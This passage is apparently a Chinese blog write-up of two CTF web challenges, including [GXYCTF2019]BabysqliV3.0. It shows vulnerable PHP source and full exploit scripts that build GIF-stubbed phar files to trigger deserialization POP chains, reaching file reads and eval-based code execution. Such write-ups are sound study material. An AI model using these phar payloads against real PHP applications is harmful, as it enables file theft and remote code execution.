        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}

利用file_get_contents函数读取flag(对关键字没有过滤)

image-20240321145342428

close方法反推找到了

image-20240321151601351

$db一般指mysql数据库对象 但是可以构造$db为指定的File对象 便于读取文件

注意 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入

$this->results[$file->name()][$func]

POP链:让 $db为 FileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results

$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result
<?php
class User {
    public $db;
    public function __construct(){
        $this->db=new FileList();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
        $this->files=array(new File());
        $this->results=array();
        $this->funcs=array();
    }
}

class File {
    public $filename="/flag.txt";
}

$user=new User();
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$phar->setMetadata($user);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

将phar文件修改后缀 删除时抓包

image-20240321161733523

获得flag{fdb7aa36-b9de-4313-88e5-ee627acb6f32}

[GXYCTF2019]BabysqliV3.0

输入admin password登录

image-20240321163427112

url后面传入的 是file=upload 利用伪协议对upload进行编码得到源码

image-20240321163721453

home.php

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
	if(isset($_GET['file'])){
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
			die("hacker!");
		}
		else{
			if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
				$file = $_GET['file'].".php";
			}
			else{
				$file = $_GET['file'].".fxxkyou!";
			}
			echo "当前引用的是 ".$file;
			require $file;
		}
		
	}
	else{
		die("no permission!");
	}
}
?>

upload.php

<?php
class Uploader{
    public $Filename;
    public $cmd;
    public $token;


    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}

利用file-fte-contents函数读取文件

image-20240321164650928

file_get_contents() 使 $uploader 通过__toString() 返回 $this->Filename$this->Filename 可控,因此此处 $this->Filename 用来触发 phar,__destruct() 方法内 eval($this->cmd); 进行 RCE

image-20240321165208075

__destruct() 方法中,想要 eval($this->cmd); 的前提条件是 $this->token$_SESSION['user'] 相等

image-20240321165445461

再看__construct()方法,当我们不传name参数的时候,会将$this->Filename赋值为包含$_SESSION['user']值的文件名,因此我们可以先随便上传一个txt,在返回的目录中得到$_SESSION['user']的值。

image-20240321171439184

构造phar文件

<?php
class Uploader
{
    public $Filename;
    public $cmd;
    public $token;
}

$a = new Uploader();
$a->Filename="test";
$a->cmd="highlight_file('/var/www/html/flag.php');";
$a->token="GXYe7d02718b005eb627b96152329758509";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

将生成的phar文件上传 得到路径

image-20240321171718590

phar伪协议+路径上传 抓包

得到flag

image-20240321194935648

posted @ 2024-03-21 20:54  Yolololololo  阅读(49)  评论(0编辑  收藏  举报